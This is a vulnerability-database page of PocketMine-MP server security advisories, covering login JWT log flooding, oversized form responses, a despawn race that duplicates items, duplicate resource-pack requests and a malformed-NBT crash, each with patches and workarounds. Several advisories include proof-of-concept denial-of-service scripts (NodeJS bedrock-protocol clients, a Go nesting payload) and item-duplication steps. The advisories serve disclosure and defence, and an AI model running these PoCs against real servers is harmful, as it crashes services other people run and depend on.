Dktapps

#2500of 56,327
103.5Total CVSS
Vulnerabilities · 14
Medium
5
High
9
PT-2026-89003
6.9
2026-04-15
Pmmp · Pocketmine-Mp · CVE-2026-86200
### Impact Attackers can fill the body of the clientData JWT in LoginPacket with lots of junk properties, causing the server to flood warning messages, as well as wasting CPU time. This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully. This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access. ### Patches This issue was fixed in c1d4a813fb8c21bfd8b9affd040da864b794df71 by restricting the number of unknown properties to 10, and rejecting the packet if this limit is exceeded. This continues to tolerate random additions to the JWT between versions, while preventing the logger from being abused by clients to slow down the server. ### Workarounds Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper Exception` will be thrown if the JWT is problematic. However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past). ### References Affected code: https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L289-L303 https://github.com/pmmp/PocketMine-MP/blob/5.41.1/src/network/mcpe/handler/LoginPacketHandler.php#L334-L350
PT-2026-89007
7.1
2026-04-06
Pmmp · Pocketmine-Mp · CVE-2026-86204
### Impact The server does not meaningfully limit the size of the JSON payload in `ModalFormResponsePacket`. This can be abused by an attacker to waste memory and CPU on an affected server, e.g. by sending arrays with millions of elements. The player must have a full session on the server (i.e. spawned in the world) to exploit this, as form responses are not handled unless the player is in game. ### Patches The issue was fixed in two parts: - cef1088341e40ee7a6fa079bca47a84f3524d877 limits the size of a single form response to 10 KB, which is well above expected size, but low enough to prevent abuse - f983f4f66d5e72d7a07109c8175799ab0ee771d5 avoids decoding the form response if there is no form associated with the given ID ### Workarounds This issue can be worked around in a plugin using `DataPacketReceiveEvent` by: - checking the max size of the `formData` field - making sure the form ID is not repeated However, a full workaround for the issue would require reflection to access the `Player->forms` property, which is not exposed via any accessible API prior to 5.39.2. ### PoC 1. Join a PocketMine-MP server as a regular player (no special permissions needed). 2. Use a modified client or packet-sending script to send a `ModalFormResponsePacket` with: * Any non-existent `formId` * `formData` containing a massive JSON array (e.g., 10+ MB payload). 3. The server will attempt to parse the JSON and may freeze or become unresponsive. Example NodeJS pseudocode: ```javascript import { createClient } from 'bedrock-protocol'; const host = '127.0.0.1'; const port = 19132; const username = 'Test'; const client = createClient({ host, port, username, offline: true }); const hugePayload = '[' + '0,'.repeat(5 000 000) + '0]'; client.on('spawn', () => { console.log('[*] Connected & spawned. Sending malicious packet...'); client.write('modal form response', { formId: 9999, // Form inexistant formData: hugePayload // JSON énorme }); console.log('[*] Packet sent. The server should start freezing shortly.'); }); ```
PT-2026-89004
8.7
2026-04-06
Pmmp · Pocketmine-Mp · CVE-2026-86201
### Impact Attackers can put large and/or complex structures as a value to an unknown property in the clientData JWT body in the Minecraft `LoginPacket`, causing the server to generate very long log messages. Additionally, the property name is logged without any length limitations or sanitization, which can also be abused for LogDoS. This may be used to spam the log/console, waste CPU time serializing the offending structure, and potentially to crash the server entirely. This happens because the JsonMapper instance used to process the JWT body is configured to warn on unexpected properties instead of rejecting them outright. While this behaviour increases flexibility for random changes introduced by Microsoft, it also creates vulnerabilities if not handled carefully. This vulnerability affects PocketMine-MP servers exposed to a public network where unknown actors may have access. ### PoC 1. Connect to the server using a custom client. 2. Send a Minecraft `LoginPacket` containing an unexpected JSON property (e.g., invalid key) within the ClientData. 3. Set the value of invalid key to a highly recursive or massive object structure (e.g., an array containing millions of elements or deeply nested arrays). 4. The server hits the `warnUndefinedJsonPropertyHandler`, which attempts to var export the malicious object, leading to an Out-of-Memory crash. ``` A := make([]interface{}, 1) ptr := &A for i := 0; i < 500; i++ { next := make([]interface{}, 1000) (*ptr)[0] = next ptr = &next } data := make([]int, 2000000) for i := 0; i < 100; i++ { data[i] = i } (*ptr)[0] = data d.PlayFabID = A ``` ### Patches The issue was addressed in https://github.com/pmmp/PocketMine-MP/commit/87d1c0cea09d972fd4c2fafb84dac2ecab7649f0 by removing the relevant `var export` and limiting the length of the logged property name to 80 characters. ### Workarounds Plugins can handle `DataPacketReceiveEvent` to capture `LoginPacket`, and pre-process the clientData JWT to ensure it doesn't have any unusual properties in it. This can be achieved using `JsonMapper` (see the original affected code below) and setting the `bExceptionOnUndefinedProperty` flag to `true`. A `JsonMapper Exception` will be thrown if the JWT is problematic. However, it's important to caveat that this approach may cause login failures if any unexpected properties appear out of the blue in future versions (which has happened in the past).
PT-2026-89006
6.3
2026-04-06
Pmmp · Pocketmine-Mp · CVE-2026-86203
### Summary When an entity dies, the entity is flagged for despawn, but remains in the `World`'s entity table, meaning it's still accessible by doing `World->getEntity($entityId)` and other methods. The same is true of a player when quitting the server. When a network packet arrives from a client to attack an entity, the handler fetches the entity using `World->getEntity($entityId)` without any checks if the entity is already marked for despawning. Depending on the timing, the entity in question might already be in the flagged-for-despawn state when the action is processed. This means that the death handler for the entity might be run multiple times, causing loot and XP to be dropped multiple times, among other potential side effects. ### Reproducing steps To reproduce this vulnerability, two clients (Player A and Player B) are required. Prerequisites: - Player A (Victim): Must have the valuable items to be duplicated in their inventory and 1 HP (to ensure instant death). - Player B (Attacker): Must be equipped with a weapon capable of dealing at least 1 damage. Steps: 1. Player A and Player B stand next to each other. 2. Player A initiates the disconnect sequence (e.g., clicking "Disconnect" or "Exit to Menu"). 3. Immediately after Player A triggers the disconnect (within a split-second window), Player B must attack and kill Player A. 4. Player A's character dies server-side, and their inventory drops on the ground. 5. Player B collects the dropped items. 6. Player A logs back into the server. 7. Result: Player A still possesses the original items in their inventory, while Player B holds the dropped copies. ### Patches The issue was fixed in https://github.com/pmmp/PocketMine-MP/commit/c0719b76b18f2508143134e79bc9f1aa39109683 by adding checks for flagged-for-despawn entities in several affected locations. While a cleaner fix would be to have `World`'s various entity accessing methods exclude flagged-for-despawn entities, this was deemed too risky for 5.x as it would require significant internal changes. ### Workarounds Plugins can mitigate this issue on older versions by handling `EntityDamageByEntityEvent`, checking if the victim entity is flagged for despawn, and if so, cancelling the event.
PT-2026-88991
8.7
2025-09-02
Pmmp · Pocketmine-Mp · CVE-2025-71417
### Summary A denial-of-service / out-of-memory vulnerability exists in the `STATUS SEND PACKS` handling of `ResourcePackClientResponsePacket`. PocketMine-MP processes the `packIds` array without verifying that all entries are unique. A malicious (non-standard) Bedrock client can send multiple duplicate valid pack UUIDs in the same `STATUS SEND PACKS` packet, causing the server to send the same pack multiple times. This can quickly exhaust memory and crash the server. Severity: **High** — Remote DoS from an authenticated client. --- ### Details Relevant code (simplified): ```php case ResourcePackClientResponsePacket::STATUS SEND PACKS: foreach($packet->packIds as $uuid){ $splitPos = strpos($uuid, " "); if($splitPos !== false){ $uuid = substr($uuid, 0, $splitPos); } $pack = $this->getPackById($uuid); if(!($pack instanceof ResourcePack)){ $this->disconnectWithError("Unknown pack $uuid requested..."); return false; } $this->session->sendDataPacket(ResourcePackDataInfoPacket::create( $pack->getPackId(), self::PACK CHUNK SIZE, (int) ceil($pack->getPackSize() / self::PACK CHUNK SIZE), $pack->getPackSize(), $pack->getSha256(), false, ResourcePackType::RESOURCES )); } break; ``` **Root cause:** * The `packIds` array is taken directly from the client packet and processed as-is. * There is no check to ensure that all requested packs are unique. * A malicious client can craft a `STATUS SEND PACKS` packet with many duplicates of a valid UUID. * Each duplicate results in the server re-sending the same pack, consuming additional memory. **Why this is unexpected:** * Mojang's official clients never send duplicates in `packIds`. * PocketMine assumes the client is well-behaved, but an attacker can bypass this with a custom client. --- **Suggested fix:** Before sending packs: 1. Remove duplicates from the incoming `packIds` array. 2. If the difference between the original count and unique count exceeds a small threshold (e.g. > 2 duplicates), immediately disconnect the client with an error. 3. Track which packs have already been sent to this player, and skip any that have already been transferred. ```php $alreadySent = $this->packsSent ?? []; // Remove duplicates $uniquePackIds = array unique($packet->packIds); // Detect abuse if(count($packet->packIds) - count($uniquePackIds) > 2){ $this->disconnectWithError("Too many duplicate resource pack requests"); return false; } foreach($uniquePackIds as $uuid){ if(in array($uuid, $alreadySent, true)){ continue; // Skip packs already sent to this player } // existing code... $alreadySent[] = $uuid; } $this->packsSent = $alreadySent; ``` --- ### PoC 1. Join a PocketMine-MP server with at least one resource pack enabled. 2. Using a custom Bedrock client, send a `ResourcePackClientResponsePacket` with: * `status = STATUS SEND PACKS` * `packIds` = many duplicates of a known valid pack UUID. Example Node.js PoC (requires `bedrock-protocol` and a valid `PACK UUID`): ```js import { createClient } from 'bedrock-protocol'; const host = '127.0.0.1'; const port = 19132; const username = 'test'; const PACK UUID = '00000000-0000-0000-0000-000000000000'; // replace with a real UUID const DUPLICATES = 1000; const client = createClient({ host, port, username, offline: true }); client.on('spawn', () => { console.log('[*] Sending duplicate pack request...'); client.queue('resource pack client response', { response status: 'send packs', resourcepackids: Array(DUPLICATES).fill(PACK UUID) }); }); ``` --- ### Impact * **Type:** Remote Denial of Service / Memory Exhaustion * **Who is impacted:** Any PocketMine-MP server with resource packs enabled * **Requirements:** Attacker must connect to the server (authenticated player) * **Effect:** Server memory rapidly increases, leading to freeze or crash
PT-2026-88983
7.5
2023-07-14
Pmmp · Pocketmine-Mp · CVE-2023-54392
### Summary A player sending a packet can cause the server to crash by providing incorrect sign data in NBT in `BlockActorDataPacket`. ### Details This vulnerability was discovered using the `BlockActorDataPacket`, but other packets may also be affected. The player would seem to just need to send an NBT with an incorrect type to throw this error. ``` [Server thread/CRITICAL]: pocketmine btUnexpectedTagTypeException: "Expected a tag of type pocketmine bttagCompoundTag, got pocketmine bttagByteTag" (EXCEPTION) in "pmsrc/vendor/pocketmine/nbt/src/tag/CompoundTag" at line 107 --- Stack trace --- #0 pmsrc/src/network/mcpe/handler/InGamePacketHandler(751): pocketmine bttagCompoundTag->getCompoundTag(string[9] FrontText) #1 pmsrc/vendor/pocketmine/bedrock-protocol/src/BlockActorDataPacket(50): pocketmine etworkmcpehandlerInGamePacketHandler->handleBlockActorData(object pocketmine etworkmcpeprotocolBlockActorDataPacket#220241) #2 pmsrc/src/network/mcpe/NetworkSession(433): pocketmine etworkmcpeprotocolBlockActorDataPacket->handle(object pocketmine etworkmcpehandlerInGamePacketHandler#190572) ``` ### PoC Use a bot or proxy to send a packet when editing a sign. This packet should contain an NBT with incorrect types but correct architecture. ### Impact This makes it possible to shutdown a server for someone who knows how to operate it. As this was discovered in 4.22.1, everyone with at least this version is affected. ### Patches This bug was fixed by 0c250a2ef09627b48aa52302f6cc7e1f2afb70ea in the 4.22.3 and 5.2.1 releases. ### Workarounds A plugin may be able to handle `DataPacketReceiveEvent` for `BlockActorDataPacket`, and verify that the `FrontText` tag is a `TAG Compound`.